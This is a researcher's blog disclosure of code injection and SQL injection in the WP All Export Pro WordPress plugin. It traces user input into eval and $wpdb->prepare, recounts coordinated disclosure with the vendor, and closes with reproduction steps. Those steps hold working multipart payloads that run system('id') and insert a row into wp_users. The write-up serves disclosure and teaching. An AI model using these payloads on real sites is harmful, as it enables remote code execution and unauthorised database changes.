Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:
- allowed characters (standard regular expressions classes or custom)
- data format
- amount of expected data
A SQL Injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
This blog contains details on how I was able to find “Code Injection and SQLi in WP All Export Pro” by manually reviewing the source code.
WP All Export features a three-step export process and an intuitive drag & drop interface that makes complicated export tasks simple and fast.
With WP All Export you can:
- Export data for easy editing,
- Migrate content from WordPress to another site
You can find more details here:
The CVEs for these issues are:
Details of the vulnerability
I setup the plugin and started interacting with the plugin.
When the user clicks on the export, user has the option to select Specific Post Type available in the dropdown.
After selecting the Post, on the next page user can specify the data to export based on the selected post type
I started looking into the implementation of the above functionality, the switch case statement is responsible for different FieldType.
One interesting FieldType was “sql”, Below is the code snippet of the same
Here, the user-controlled value fields ($fieldSql and $fieldCode)(Source) are directly getting passed into the $wpdb->prepare and eval(Sinks) function.
There is another feature of the plugin in which user can export the selected Posts as CSV, simple XML, and custom XML.
The XML feature looked interesting to me, so I started looking into the implementation of it.
Here are a few snippets on how the XML is being parsed and the user-controlled xml(source) is entering the eval function(sink) which could lead to Code Injection.
- In the preprocess_xml function, user provided XML(Source) is being passed
- There are different filters that are being applied to the input data, such as trimming different characters, checking whether the given functions exist or not, and the result is getting used in the eval function (Sink) where the passed function is being executed.
Easy Multiple Code Injection and SQLi, right?
The vulnerability was reported to the WP All Export Team and they replied by saying that these are intentional functionalities that the plugin supports and shared the documentation as well for the same.
Lesson learned: Always look for the documentation of the application, if it’s available on different functionalities, and why the developer has put the code in the first place.
So that’s all? Definitely not!!!
I started looking into the documentation and I noticed this
I did not have the pro version as the client mode is supported in the pro version of the plugin, but from the documentation, we can see that the client will have the access to the allowed exports, and they can just click on the “Run Export” to export the specific export.
This UI in the doc for the client looked like the “Manage Exports” in free version of the plugin
After clicking on the “Run Export” in the free version, users get redirected to the “confirm and run page” with the options of some advanced settings.
Let’s investigate the code on the implementation part in the free edition. In the free edition, in wp-all-export.php, adminDispatcher function is responsible for calling the different controllers based on the page and action parameters.
I intercepted the request for the “Confirm and Run Export” in burpsuite to see the form details.
According to the action parameter, update method of the class “PMXE_Admin_Manage”(page param) will get called. Below are the code snippets of the update method.
Spotted the vulnerability?
Remember the cc_php, cc_code, cc_sql fields?
All the default options are being imported and if any of them are present in the post request, that value will be taken by the respective fields i.e., we can control fields like cc_php, cc_code, cc_sql for executing any PHP function, SQL queries as these fields are getting directly getting used in the eval, $wpdb->prepare directly.
I reported the vulnerability to the team and mentioned that if the code flow is same in PRO version as well, the client will be able to execute any PHP code and SQL queries.
The team replied and gave me access to the PRO version, I was able to reproduce the Code Injection and SQLi in the PRO as the code flow was same.
Steps to reproduce (Code Injection)
- Intercept the “Confirm & Run Export” page request
- Add the below fields and turn the intercept off
------WebKitFormBoundaryebX838kmAzPMht5c Content-Disposition: form-data; name="cc_type" sql ------WebKitFormBoundaryebX838kmAzPMht5c Content-Disposition: form-data; name="cc_code" system('id') ------WebKitFormBoundaryebX838kmAzPMht5c Content-Disposition: form-data; name="cc_php" test ------WebKitFormBoundaryebX838kmAzPMht5c Content-Disposition: form-data; name="cc_sql" test
- Export is completed. Now click on the “DownloadCSV” to see the content.
- Observe that payload(system(‘id’)) got executed and the output in the CSV which was inserted in step 2
Steps to reproduce (SQLi)
- Intercept the “Confirm & Run Export page request
- Add the below fields and turn the intercept off
-----WebKitFormBoundaryiJPFIleVAGMODGts Content-Disposition: form-data; name="cc_type" sql ------WebKitFormBoundaryiJPFIleVAGMODGts Content-Disposition: form-data; name="cc_code" test ------WebKitFormBoundaryiJPFIleVAGMODGts Content-Disposition: form-data; name="cc_php" test ------WebKitFormBoundaryiJPFIleVAGMODGts Content-Disposition: form-data; name="cc_sql" insert into wp_users (user_login, user_pass,user_nicename,user_email,user_url,user_activation_key,display_name)values('qwerty_test','password','nicename','user_email','user_url','user_activation_key','display_name')
- Export is completed
- Observe that one new entry in the wp_users table cause of the insert payload in the step 2.
The team fixed the vulnerability by restricting the client to modify only a few of the options.
Vulnerabilities reported and acknowledged: 18-08-2022
Vulnerabilities Fixed and a new version released: 30-08-2022
This was an interesting case of how vulnerabilities like this can be found manually by reviewing the source code which would be hard to find with the automated tools.
Thanks to the WP ALL Export team for the quick responses and reward.